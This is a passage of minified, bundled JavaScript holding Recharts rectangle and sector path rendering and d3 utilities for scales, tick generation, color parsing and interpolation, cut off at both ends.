A `,",",",0,0,",",",",",`
L `,",",`
A `,",",",0,0,",",",",",`
L `,",",`
A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=Qe(i1||(i1=Xn(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},c1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},jN=e=>{var t=fn(e,c1),n=p.useRef(null),[r,i]=p.useState(-1);p.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var F=n.current.getTotalLength();F&&i(F)}catch{}},[]);var{x:a,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:m,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=p.useRef(l),v=p.useRef(c),b=p.useRef(a),w=p.useRef(o),j=p.useMemo(()=>({x:a,y:o,width:l,height:c,radius:u}),[a,o,l,c,u]),k=$d(j,"rectangle-");if(a!==+a||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var S=Xe("recharts-rectangle",d);if(!g){var N=It(t),{radius:z}=N,_=o1(N,XM);return p.createElement("path",pu({},_,{x:ti(a),y:ti(o),width:ti(l),height:ti(c),radius:typeof u=="number"?u:void 0,className:S,d:l1(a,o,l,c,u)}))}var A=y.current,O=v.current,P=b.current,I=w.current,U="0px ".concat(r===-1?1:r,"px"),D="".concat(r,"px 0px"),M=gN(["strokeDasharray"],m,typeof f=="string"?f:c1.animationEasing);return p.createElement(Rd,{animationId:k,key:k,canBegin:r>0,duration:m,easing:f,isActive:g,begin:h},F=>{var R=St(A,l,F),W=St(O,c,F),$=St(P,a,F),H=St(I,o,F);n.current&&(y.current=R,v.current=W,b.current=$,w.current=H);var X;x?F>0?X={transition:M,strokeDasharray:D}:X={strokeDasharray:U}:X={strokeDasharray:D};var se=It(t),{radius:ue}=se,ge=o1(se,ZM);return p.createElement("path",pu({},ge,{radius:typeof u=="number"?u:void 0,className:S,d:l1($,H,R,W,u),ref:n,style:s1(s1({},X),t.style)}))})};function u1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function d1(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?u1(Object(n),!0).forEach(function(r){n8(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):u1(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function n8(e,t,n){return(t=r8(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function r8(e){var t=i8(e,"string");return typeof t=="symbol"?t:t+""}function i8(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var mu=Math.PI/180,a8=e=>e*180/Math.PI,st=(e,t,n,r)=>({x:e+Math.cos(-mu*r)*n,y:t+Math.sin(-mu*r)*n}),kN=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},s8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:a}=t;return Math.sqrt((n-i)**2+(r-a)**2)},o8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:a}=t,o=s8({x:n,y:r},{x:i,y:a});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>a&&(c=2*Math.PI-c),{radius:o,angle:a8(c),angleInRadian:c}},l8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),a=Math.min(r,i);return{startAngle:t-a*360,endAngle:n-a*360}},c8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),a=Math.floor(r/360),o=Math.min(i,a);return e+o*360},u8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:a}=o8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(i<o||i>l||i===0)return null;var{startAngle:c,endAngle:u}=l8(t),d=a,f;if(c<=u){for(;d>u;)d-=360;for(;d<c;)d+=360;f=d>=c&&d<=u}else{for(;d>c;)d-=360;for(;d<u;)d+=360;f=d>=u&&d<=c}return f?d1(d1({},t),{},{radius:i,angle:c8(d,t)}):null};function NN(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:a}=e,o=st(t,n,r,i),l=st(t,n,r,a);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:a}}var f1,p1,m1,h1,x1,v1,g1;function Jm(){return Jm=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Jm.apply(null,arguments)}function Ri(e,t){return t||(t=e.slice(0)),Object.freeze(Object.defineProperties(e,{raw:{value:Object.freeze(t)}}))}var d8=(e,t)=>{var n=Ut(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Bl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:a,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/mu,f=c?i:i+a*d,m=st(t,n,u,f),h=st(t,n,r,f),x=c?i-a*d:i,g=st(t,n,u*Math.cos(d*mu),x);return{center:m,circleTangency:h,lineTangency:g,theta:d}},SN=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:a,endAngle:o}=e,l=d8(a,o),c=a+l,u=st(t,n,i,a),d=st(t,n,i,c),f=Qe(f1||(f1=Ri(["M ",",",`
A `,",",`,0,
`,",",`,
`,",",`
`])),u.x,u.y,i,i,+(Math.abs(l)>180),+(a>c),d.x,d.y);if(r>0){var m=st(t,n,r,a),h=st(t,n,r,c);f+=Qe(p1||(p1=Ri(["L ",",",`
A `,",",`,0,
`,",",`,
`,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(a<=c),m.x,m.y)}else f+=Qe(m1||(m1=Ri(["L ",","," Z"])),t,n);return f},f8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:a,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Ut(u-c),{circleTangency:f,lineTangency:m,theta:h}=Bl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:a,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Bl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:a,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?Qe(h1||(h1=Ri(["M ",",",`
a`,",",",0,0,1,",`,0
a`,",",",0,0,1,",`,0
`])),m.x,m.y,a,a,a*2,a,a,-a*2):SN({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=Qe(x1||(x1=Ri(["M ",",",`
A`,",",",0,0,",",",",",`
A`,",",",0,",",",",",",",`
A`,",",",0,0,",",",",",`
`])),m.x,m.y,a,a,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,a,a,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:k}=Bl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),{circleTangency:S,lineTangency:N,theta:z}=Bl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),_=l?Math.abs(c-u):Math.abs(c-u)-k-z;if(_<0&&a===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=Qe(v1||(v1=Ri(["L",",",`
A`,",",",0,0,",",",",",`
A`,",",",0,",",",",",",",`
A`,",",",0,0,",",",",","Z"])),N.x,N.y,a,a,+(d<0),S.x,S.y,r,r,+(_>180),+(d>0),w.x,w.y,a,a,+(d<0),j.x,j.y)}else b+=Qe(g1||(g1=Ri(["L",",","Z"])),t,n);return b},p8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},zN=e=>{var t=fn(e,p8),{cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(a<i||u===d)return null;var m=Xe("recharts-sector",f),h=a-i,x=sn(o,h,0,!0),g;return x>0&&Math.abs(u-d)<360?g=f8({cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=SN({cx:n,cy:r,innerRadius:i,outerRadius:a,startAngle:u,endAngle:d}),p.createElement("path",Jm({},It(t),{className:m,d:g}))};function m8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(Hj(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:a,outerRadius:o,angle:l}=t,c=st(r,i,a,l),u=st(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return NN(t)}}var CN={},PN={},EN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Lx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(EN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=EN;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(PN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Ix,n=PN;function r(i,a,o){o&&typeof o!="number"&&t.isIterateeCall(i,a,o)&&(a=o=void 0),i=n.toFinite(i),a===void 0?(a=i,i=0):a=n.toFinite(a),o=o===void 0?i<a?1:-1:n.toFinite(o);const l=Math.max(Math.ceil((a-i)/(o||1)),0),c=new Array(l);for(let u=0;u<l;u++)c[u]=i,i+=o;return c}e.range=r})(CN);var h8=CN.range;const AN=Lr(h8);function fi(e,t){return e==null||t==null?NaN:e<t?-1:e>t?1:e>=t?0:NaN}function x8(e,t){return e==null||t==null?NaN:t<e?-1:t>e?1:t>=e?0:NaN}function qx(e){let t,n,r;e.length!==2?(t=fi,n=(l,c)=>fi(e(l),c),r=(l,c)=>e(l)-c):(t=e===fi||e===x8?e:v8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u<d){if(t(c,c)!==0)return d;do{const f=u+d>>>1;n(l[f],c)<0?u=f+1:d=f}while(u<d)}return u}function a(l,c,u=0,d=l.length){if(u<d){if(t(c,c)!==0)return d;do{const f=u+d>>>1;n(l[f],c)<=0?u=f+1:d=f}while(u<d)}return u}function o(l,c,u=0,d=l.length){const f=i(l,c,u,d-1);return f>u&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:a}}function v8(){return 0}function _N(e){return e===null?NaN:+e}function*g8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const y8=qx(fi),tl=y8.right;qx(_N).center;class y1 extends Map{constructor(t,n=j8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(b1(this,t))}has(t){return super.has(b1(this,t))}set(t,n){return super.set(b8(this,t),n)}delete(t){return super.delete(w8(this,t))}}function b1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function b8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function w8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function j8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function k8(e=fi){if(e===fi)return ON;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function ON(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(e<t?-1:e>t?1:0)}const N8=Math.sqrt(50),S8=Math.sqrt(10),z8=Math.sqrt(2);function hu(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),a=r/Math.pow(10,i),o=a>=N8?10:a>=S8?5:a>=z8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/u<e&&++l,c/u>t&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*u<e&&++l,c*u>t&&--c),c<l&&.5<=n&&n<2?hu(e,t,n*2):[l,c,u]}function eh(e,t,n){if(t=+t,e=+e,n=+n,!(n>0))return[];if(e===t)return[e];const r=t<e,[i,a,o]=r?hu(t,e,n):hu(e,t,n);if(!(a>=i))return[];const l=a-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u<l;++u)c[u]=(a-u)/-o;else for(let u=0;u<l;++u)c[u]=(a-u)*o;else if(o<0)for(let u=0;u<l;++u)c[u]=(i+u)/-o;else for(let u=0;u<l;++u)c[u]=(i+u)*o;return c}function th(e,t,n){return t=+t,e=+e,n=+n,hu(e,t,n)[2]}function nh(e,t,n){t=+t,e=+e,n=+n;const r=t<e,i=r?th(t,e,n):th(e,t,n);return(r?-1:1)*(i<0?1/-i:i)}function w1(e,t){let n;for(const r of e)r!=null&&(n<r||n===void 0&&r>=r)&&(n=r);return n}function j1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function TN(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?ON:k8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),m=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+m)),x=Math.min(r,Math.floor(t+(c-u)*f/c+m));TN(e,t,h,x,i)}const a=e[t];let o=n,l=r;for(Ms(e,n,t),i(e[r],a)>0&&Ms(e,n,r);o<l;){for(Ms(e,o,l),++o,--l;i(e[o],a)<0;)++o;for(;i(e[l],a)>0;)--l}i(e[n],a)===0?Ms(e,n,l):(++l,Ms(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Ms(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function C8(e,t,n){if(e=Float64Array.from(g8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return j1(e);if(t>=1)return w1(e);var r,i=(r-1)*t,a=Math.floor(i),o=w1(TN(e,a).subarray(0,a+1)),l=j1(e.subarray(a+1));return o+(l-o)*(i-a)}}function P8(e,t,n=_N){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,a=Math.floor(i),o=+n(e[a],a,e),l=+n(e[a+1],a+1,e);return o+(l-o)*(i-a)}}function E8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,a=new Array(i);++r<i;)a[r]=e+r*n;return a}function Pn(e,t){switch(arguments.length){case 0:break;case 1:this.range(e);break;default:this.range(t).domain(e);break}return this}function Br(e,t){switch(arguments.length){case 0:break;case 1:{typeof e=="function"?this.interpolator(e):this.range(e);break}default:{this.domain(e),typeof t=="function"?this.interpolator(t):this.range(t);break}}return this}const rh=Symbol("implicit");function Yx(){var e=new y1,t=[],n=[],r=rh;function i(a){let o=e.get(a);if(o===void 0){if(r!==rh)return r;e.set(a,o=t.push(a)-1)}return n[o%n.length]}return i.domain=function(a){if(!arguments.length)return t.slice();t=[],e=new y1;for(const o of a)e.has(o)||e.set(o,t.push(o)-1);return i},i.range=function(a){return arguments.length?(n=Array.from(a),i):n.slice()},i.unknown=function(a){return arguments.length?(r=a,i):r},i.copy=function(){return Yx(t,n).unknown(r)},Pn.apply(i,arguments),i}function Gx(){var e=Yx().unknown(void 0),t=e.domain,n=e.range,r=0,i=1,a,o,l=!1,c=0,u=0,d=.5;delete e.unknown;function f(){var m=t().length,h=i<r,x=h?i:r,g=h?r:i;a=(g-x)/Math.max(1,m-c+u*2),l&&(a=Math.floor(a)),x+=(g-x-a*(m-c))*d,o=a*(1-c),l&&(x=Math.round(x),o=Math.round(o));var y=E8(m).map(function(v){return x+a*v});return n(h?y.reverse():y)}return e.domain=function(m){return arguments.length?(t(m),f()):t()},e.range=function(m){return arguments.length?([r,i]=m,r=+r,i=+i,f()):[r,i]},e.rangeRound=function(m){return[r,i]=m,r=+r,i=+i,l=!0,f()},e.bandwidth=function(){return o},e.step=function(){return a},e.round=function(m){return arguments.length?(l=!!m,f()):l},e.padding=function(m){return arguments.length?(c=Math.min(1,u=+m),f()):c},e.paddingInner=function(m){return arguments.length?(c=Math.min(1,m),f()):c},e.paddingOuter=function(m){return arguments.length?(u=+m,f()):u},e.align=function(m){return arguments.length?(d=Math.max(0,Math.min(1,m)),f()):d},e.copy=function(){return Gx(t(),[r,i]).round(l).paddingInner(c).paddingOuter(u).align(d)},Pn.apply(f(),arguments)}function MN(e){var t=e.copy;return e.padding=e.paddingOuter,delete e.paddingInner,delete e.paddingOuter,e.copy=function(){return MN(t())},e}function A8(){return MN(Gx.apply(null,arguments).paddingInner(1))}function Xx(e,t,n){e.prototype=t.prototype=n,n.constructor=e}function LN(e,t){var n=Object.create(e.prototype);for(var r in t)n[r]=t[r];return n}function nl(){}var Io=.7,xu=1/Io,Fa="\\s*([+-]?\\d+)\\s*",Do="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)\\s*",sr="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)%\\s*",_8=/^#([0-9a-f]{3,8})$/,O8=new RegExp(`^rgb\\(${Fa},${Fa},${Fa}\\)$`),T8=new RegExp(`^rgb\\(${sr},${sr},${sr}\\)$`),M8=new RegExp(`^rgba\\(${Fa},${Fa},${Fa},${Do}\\)$`),L8=new RegExp(`^rgba\\(${sr},${sr},${sr},${Do}\\)$`),I8=new RegExp(`^hsl\\(${Do},${sr},${sr}\\)$`),D8=new RegExp(`^hsla\\(${Do},${sr},${sr},${Do}\\)$`),k1={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074};Xx(nl,Ro,{copy(e){return Object.assign(new this.constructor,this,e)},displayable(){return this.rgb().displayable()},hex:N1,formatHex:N1,formatHex8:R8,formatHsl:$8,formatRgb:S1,toString:S1});function N1(){return this.rgb().formatHex()}function R8(){return this.rgb().formatHex8()}function $8(){return IN(this).formatHsl()}function S1(){return this.rgb().formatRgb()}function Ro(e){var t,n;return e=(e+"").trim().toLowerCase(),(t=_8.exec(e))?(n=t[1].length,t=parseInt(t[1],16),n===6?z1(t):n===3?new Vt(t>>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Fl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Fl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=O8.exec(e))?new Vt(t[1],t[2],t[3],1):(t=T8.exec(e))?new Vt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=M8.exec(e))?Fl(t[1],t[2],t[3],t[4]):(t=L8.exec(e))?Fl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=I8.exec(e))?E1(t[1],t[2]/100,t[3]/100,1):(t=D8.exec(e))?E1(t[1],t[2]/100,t[3]/100,t[4]):k1.hasOwnProperty(e)?z1(k1[e]):e==="transparent"?new Vt(NaN,NaN,NaN,0):null}function z1(e){return new Vt(e>>16&255,e>>8&255,e&255,1)}function Fl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Vt(e,t,n,r)}function B8(e){return e instanceof nl||(e=Ro(e)),e?(e=e.rgb(),new Vt(e.r,e.g,e.b,e.opacity)):new Vt}function ih(e,t,n,r){return arguments.length===1?B8(e):new Vt(e,t,n,r??1)}function Vt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Xx(Vt,ih,LN(nl,{brighter(e){return e=e==null?xu:Math.pow(xu,e),new Vt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Io:Math.pow(Io,e),new Vt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Vt(Vi(this.r),Vi(this.g),Vi(this.b),vu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:C1,formatHex:C1,formatHex8:F8,formatRgb:P1,toString:P1}));function C1(){return`#${$i(this.r)}${$i(this.g)}${$i(this.b)}`}function F8(){return`#${$i(this.r)}${$i(this.g)}${$i(this.b)}${$i((isNaN(this.opacity)?1:this.opacity)*255)}`}function P1(){const e=vu(this.opacity);return`${e===1?"rgb(":"rgba("}${Vi(this.r)}, ${Vi(this.g)}, ${Vi(this.b)}${e===1?")":`, ${e})`}`}function vu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function Vi(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function $i(e){return e=Vi(e),(e<16?"0":"")+e.toString(16)}function E1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Rn(e,t,n,r)}function IN(e){if(e instanceof Rn)return new Rn(e.h,e.s,e.l,e.opacity);if(e instanceof nl||(e=Ro(e)),!e)return new Rn;if(e instanceof Rn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),a=Math.max(t,n,r),o=NaN,l=a-i,c=(a+i)/2;return l?(t===a?o=(n-r)/l+(n<r)*6:n===a?o=(r-t)/l+2:o=(t-n)/l+4,l/=c<.5?a+i:2-a-i,o*=60):l=c>0&&c<1?0:o,new Rn(o,l,c,e.opacity)}function W8(e,t,n,r){return arguments.length===1?IN(e):new Rn(e,t,n,r??1)}function Rn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Xx(Rn,W8,LN(nl,{brighter(e){return e=e==null?xu:Math.pow(xu,e),new Rn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Io:Math.pow(Io,e),new Rn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Vt(ip(e>=240?e-240:e+120,i,r),ip(e,i,r),ip(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Rn(A1(this.h),Wl(this.s),Wl(this.l),vu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=vu(this.opacity);return`${e===1?"hsl(":"hsla("}${A1(this.h)}, ${Wl(this.s)*100}%, ${Wl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function A1(e){return e=(e||0)%360,e<0?e+360:e}function Wl(e){return Math.max(0,Math.min(1,e||0))}function ip(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const Zx=e=>()=>e;function U8(e,t){return function(n){return e+n*t}}function V8(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function H8(e){return(e=+e)==1?DN:function(t,n){return n-t?V8(t,n,e):Zx(isNaN(t)?n:t)}}function DN(e,t){var n=t-e;return n?U8(e,n):Zx(isNaN(e)?t:e)}const _1=function e(t){var n=H8(t);function r(i,a){var o=n((i=ih(i)).r,(a=ih(a)).r),l=n(i.g,a.g),c=n(i.b,a.b),u=DN(i.opacity,a.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function K8(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(a){for(i=0;i<n;++i)r[i]=e[i]*(1-a)+t[i]*a;return r}}function q8(e){return ArrayBuffer.isView(e)&&!(e instanceof DataView)}function Y8(e,t){var n=t?t.length:0,r=e?Math.min(n,e.length):0,i=new Array(r),a=new Array(n),o;for(o=0;o<r;++o)i[o]=ds(e[o],t[o]);for(;o<n;++o)a[o]=t[o];return function(l){for(o=0;o<r;++o)a[o]=i[o](l);return a}}function G8(e,t){var n=new Date;return e=+e,t=+t,function(r){return n.setTime(e*(1-r)+t*r),n}}function gu(e,t){return e=+e,t=+t,function(n){return e*(1-n)+t*n}}function X8(e,t){var n={},r={},i;(e===null||typeof e!="object")&&(e={}),(t===null||typeof t!="object")&&(t={});for(i in t)i in e?n[i]=ds(e[i],t[i]):r[i]=t[i];return function(a){for(i in n)r[i]=n[i](a);return r}}var ah=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,ap=new RegExp(ah.source,"g");function Z8(e){return function(){return e}}function Q8(e){return function(t){return e(t)+""}}function J8(e,t){var n=ah.lastIndex=ap.lastIndex=0,r,i,a,o=-1,l=[],c=[];for(e=e+"",t=t+"";(r=ah.exec(e))&&(i=ap.exec(t));)(a=i.index)>n&&(a=t.slice(n,a),l[o]?l[o]+=a:l[++o]=a),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:gu(r,i)})),n=ap.lastIndex;return n<t.length&&(a=t.slice(n),l[o]?l[o]+=a:l[++o]=a),l.length<2?c[0]?Q8(c[0].x):Z8(t):(t=c.length,function(u){for(var d=0,f;d<t;++d)l[(f=c[d]).i]=f.x(u);return l.join("")})}function ds(e,t){var n=typeof t,r;return t==null||n==="boolean"?Zx(t):(n==="number"?gu:n==="string"?(r=Ro(t))?(t=r,_1):J8:t instanceof Ro?_1:t instanceof Date?G8:q8(t)?K8:Array.isArray(t)?Y8:typeof t.valueOf!="function"&&typeof t.toString!="function"||isNaN(t)?X8:gu)(e,t)}function Qx(e,t){return e=+e,t=+t,function(n){return Math.round(e*(1-n)+t*n)}}function 